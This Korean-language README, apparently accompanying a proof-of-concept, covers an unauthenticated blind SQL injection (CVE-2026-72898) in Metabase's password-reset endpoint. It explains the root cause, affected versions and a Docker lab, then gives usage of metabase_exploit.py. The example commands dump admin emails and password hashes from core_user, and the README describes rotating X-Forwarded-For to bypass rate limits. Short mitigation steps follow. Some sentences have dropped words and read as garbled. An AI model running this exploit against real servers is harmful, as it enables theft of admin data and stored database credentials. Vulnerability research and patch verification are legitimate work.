
인증되지 않은 Metabase 블라인드 SQL 인젝션 익스플로잇으로, 비밀번호 재설정 엔드포인트의 원시 SQL 인젝션을 악용하여 시간 기반 기법을 통해 데이터를 추출합니다.
★ CVE-2026-72898 Metabase /api/session/reset_password 인증 없는 블라인드 SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898은 Metabase의 인증 없는 SQL 인젝션 취약점(CVSS 10.0)으로, 공개된
POST /api/session/reset_password엔드포인트를 통해 접근 가능합니다. 해당 엔드포인트는 요청 본문을 (실패한) 인증 결과와 병합합니다 —(merge request (authenticate ...))— 따라서 공격자가 제공한user-id필드는 수정되지 않은 채로 남아 애플리케이션 데이터베이스 사용자 조회t2/select-one :model/User :id user-id에 정수 검증 없이 도달합니다. Metabase는 HoneySQL로 SQL을 구성하며,{:raw "..."}맵은 (파라미터 바인딩 없음)으로 컴파일됩니다. 따라서 를 로 보내면 애플리케이션 데이터베이스에 임의의 SQL을 주입할 수 있습니다. 해당 엔드포인트는 항상 을 반환하므로 인젝션은 방식입니다. 데이터는 을 사용한 방식으로 복구됩니다(프로덕션 표준 Postgres 애플리케이션 DB). 성공적인 악용 시 Metabase 관리자 데이터, 연결된 모든 데이터 소스의 저장된 연결 자격 증명을 탈취하고 해당 데이터베이스로의 완전한 피벗이 가능합니다.
user-id{"raw":"<SQL>"}400pg_sleep| 카테고리 | 버전 |
|---|---|
| 취약한 버전 | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| 패치된 버전 | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 이상 |
pos-int? 검사를 추가하여 정수가 아닌 user-id가 쿼리 전에 거부되도록 합니다취약한 Metabase를 빌드하고 실행합니다. Postgres 애플리케이션 DB를 사용합니다(필수 — 시간 기반 기법에는 H2에 없는 pg_sleep이 필요합니다). 최초 설정을 자동 완료하여 로그인 페이지로 부팅됩니다. 시작에는 약 40~60초가 소요됩니다.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| 사전 조건 | 이 랩에서의 상태 |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Postgres 애플리케이션 DB (pg_sleep 활성화) | 이미지에 포함됨 |
/api/session/reset_password 인증 없이 접근 가능 | 노출됨 |
| IP별 재설정 스로틀 (X-Forwarded-For 회전으로 우회) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
익스플로잇 metabase_exploit.py는 자격 증명 없이 시간 기반 블라인드 프리미티브를 사용하여 지정한 모든 값을 읽습니다. 요청마다 새로운 랜덤 X-Forwarded-For를 전송하여 IP별 속도 제한을 우회합니다(실제 공격에서도 그랬듯이). --extract "<SQL>"로 대상을 선택합니다.
# 기본값: 관리자 이메일 추출
python3 metabase_exploit.py 172.17.0.2:3000
# 원하는 모든 것 추출 (모든 SQL 스칼라 표현식)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
옵션:
--check — 인젝션이 악용 가능한지만 확인 (pg_sleep 시간 차이 표시)--extract "<SQL>" — 모든 스칼라 SQL 표현식 (자동으로 텍스트로 캐스팅)--sleep 0.4 — TRUE 비트당 지연 시간 (느리거나 원격 대상에서는 증가)POST /api/session/reset_password 차단core_session) 무효화, 관리자 계정 및 API 키 검토, 연결된 모든 데이터 소스의 연결 자격 증명 교체 (엔드포인트가 인터넷에 노출된 경우 노출되었을 가능성이 있으므로)